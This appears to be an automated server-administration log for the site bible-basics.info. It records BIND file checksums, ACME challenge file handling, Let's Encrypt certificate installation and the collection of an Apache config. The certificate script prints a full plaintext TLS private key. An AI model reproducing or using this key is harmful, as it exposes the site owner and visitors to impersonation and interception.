MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:15:03: Establishing a connection
2025-10-09 11:15:03: Establishing a connection
2025-10-09 11:15:04:
PUT: /tmp/pkp351998
#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 11:15:04:
chmod 755 /tmp/pkp351998; /tmp/pkp351998; rm /tmp/pkp351998
2025-10-09 11:15:04:
1
2025-10-09 11:15:05: Establishing a connection
2025-10-09 11:15:06:
PUT: /tmp/pkp417917
#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > 3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o
cat > 2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc
2025-10-09 11:15:06:
chmod 755 /tmp/pkp417917; /tmp/pkp417917; rm /tmp/pkp417917
2025-10-09 11:15:06:
2025-10-09 11:15:16: Establishing a connection
2025-10-09 11:15:16:
PUT: /tmp/pkp171303
#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm 3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o
rm 2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc
2025-10-09 11:15:16:
chmod 755 /tmp/pkp171303; /tmp/pkp171303; rm /tmp/pkp171303
2025-10-09 11:15:16:
2025-10-09 11:15:16: Establishing a connection
2025-10-09 11:15:17:
PUT: /tmp/pkp533717
#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt
cat > $temp_file <<'endmsg'
be:3b:52:e7:e2:a3:d1:ba:88:9f:91:08:8a:9b:0d:2f
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBZE95ZA0u3OG8B1pNXE7CdzuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxNjQ1WhcNMjYwMTA3MTAxNjQ0WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANe3Evy8qqbL6HELNcwB+2DgBN0KYizFS6ECTrGbqRJnXQKsVwf8x5YvdVmj
o2wdYhqnP+KQPoD+wpESkj6tEDRx7UuLI7gz9+FJJzVt45K6fWxa1IknJ/N3SS0g
34u0t5ukytSZvqWjGHnsWPCdia15yZzvQRefENz/jRPK5s/B6FP74p6BZjNhcc++
SJPRuiK3HlyEzwLX4n8CUT8GN8JjwhPmC12IdyUs/RC3KjIb7GRmNs6gvV/BVwML
jWMqvN14CUCwQ4nFg9q+GgY0soIJ2fRD6sXD6kFZmHj7PA+djwMLtzwbSo787Ee0
OdJhIzpOOsJpa4YwI6SzE0jiLtMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUFPxTb3Q3aLjUCE6ZfTDRRUSfks8wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTExLmNybDCC
AQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+u
zl1wQS0lTMfUAAABmciusTIAAAQDAEYwRAIgHqz22EYeSczhwzByP1KzTYrObWTm
T/5NIOSn5mcaitoCIHct4EMsYR4kVU7VvTdrQ3x4P8VAMLwxCgh/Yiie6nGHAHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyK6xewAABAMARzBF
AiEA7jxNx6MBx0UQHsThyEHxTRVzbXftTYMgtZHmVNzSPTECIGaDQT6qrlDN0Pc2
jbeFGaBEiGIArVfOQt8cbgRJ4gjKMA0GCSqGSIb3DQEBCwUAA4IBAQB7rW+/M8Qd
875qKVIpd2qknbvalCTnEDDKJLuKgCEmbOGtrIuxchDrv6k3bXGXTPpgY7EukvxC
Eth+RHy6La2loDoXzRwf7XtrH3jwutt5dzKCtXKVkjTfY3M4aPuDEzvyrLGVC//n
FbawvAPbswRxS/M4qiHW8iFufPTzraJR3Q8mRS+EasYtApk+bMI/F+4lM7Etwxi6
2QI/jA/B8SLCcdFa7SHqns1EzWyaNxGqL+HJqdrIEIyuxKKnr5onJFJRQO3Vxl5n
FHaflV9AhDtO3e3JiV+ZOwz8qBaRoik9suAPLyr7GrSQB9osuh52CzYfMkFy3Gsx
3hf7qJLYTK3N
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDXtxL8vKqmy+hx
CzXMAftg4ATdCmIsxUuhAk6xm6kSZ10CrFcH/MeWL3VZo6NsHWIapz/ikD6A/sKR
EpI+rRA0ce1LiyO4M/fhSSc1beOSun1sWtSJJyfzd0ktIN+LtLebpMrUmb6loxh5
7FjwnYmtecmc70EXnxDc/40TyubPwehT++KegWYzYXHPvkiT0boitx5chM8C1+J/
AlE/BjfCY8IT5gtdiHclLP0QtyoyG+xkZjbOoL1fwVcDC41jKrzdeAlAsEOJxYPa
vhoGNLKCCdn0Q+rFw+pBWZh4+zwPnY8DC7c8G0qO/OxHtDnSYSM6TjrCaWuGMCOk
sxNI4i7TAgMBAAECggEAAkO5v017vSSG3Cjx96JNsUaoxmlFfpLTqG0Nxm+L5tWO
9Gg6waq1ra3x3W8KWCg2z3DSCt7YySHjiQJY5q+KbAKGKzTauyRQhdzuvHDa4r9y
caDCem4ezT+DVSXzMtRC2S9xsamrhrGfoCgLBvugZmHQ7ATW+hiBZNCJ+ps2sRej
Fp4yLM1TvtrcW7TtC6s8pQ2qLWMCJl7RdV5p+8JmMQhD0JHc8toUFYvPlcVDv8QD
cfxxisYN5eQI2auHnAXGMD3hG4CN4C/g343nQsq5o96srfiL8pN9tI25E1ZqxKTd
ODsXKisA2RHLz7R3JYzR7opLUkUr0Q6/u4fc+w5CgQKBgQD71ApYMpakLsF8iz82
8zMgtBf14SaYon1K3BOuOWblZCTwoOld0eXS/2Cpmy/zdYE8xlgrkksPXhjbuJAx
a7r05zZVvK+piWIZCmhR+U4czC4ImPrXqI3bHLW95Yd2gWlZuDZDldjntfxey0bo
Xfme+sziopYCT4+nuBMEBJ+dlQKBgQDbSeJcp6McvbOZhYHEAr86EXu5NPks7uCc
CDBdv4bIKT0DvkULC/9Q8EF8i4mgBxx3zblh2kCXs4suv+v/2qSKMEcnGDiloffc
JCOeHgWuDBEx3FFKgqEeAp7IUicUyeAqd16bXgLAloeqsefKwFLfRtzuPWj1x4hg
SQ4CRgfwxwKBgQDnwEOk1yl6/uxhSWRrlXS/6/0A8qsqXJ8hfVc/RuRCxt6X8/3P
sZLnks3KSF7glorQ+1e5AXDCO750tm08jgAH0aBXVsXyJ9R3ZvSKO/x+1AipMN/o
B95Efy9iCxGXJZFmV/jYSdbLptcSBdDDl3hZrkVPbIDQr5dsqiIV2Itr4QKBgHzm
iFfd47nrEvDOaisKpYCdlKrY0VQWezhkMagz/sDjPC11oj24h6PCNIqLr8fGRSC3
vG9PsJq3WP83sWP5VN6gwOYzlZBBwLtSmjblQrbviJutsV+PJ9XACFBw+nGMynFl
rC0yTr8C/iLrUerZwFoMMqo/sBjNnY+6DJCe8sbhAoGBAMyyY6SFMcLu/siaH0Hm
qg2/GwWRiR6P//lGzDkCZknKhxAvGsxcJig8aDLVZK91yM2UYatJYOue4aV3E9Az
Zgta88ovMSNXxqm53amiFJ91eOT69hAu6j3mdILl3ahtSKD1u9pJMfXvn0ctVVK3
3UhTRPnCjcq2q6SSkrxudVse
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 11:15:17:
chmod 755 /tmp/pkp533717; /tmp/pkp533717; rm /tmp/pkp533717
2025-10-09 11:15:17:
dir=/etc/ssl/certs
2025-10-09 11:15:17:
PUT: /tmp/pkp187614
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 11:15:17:
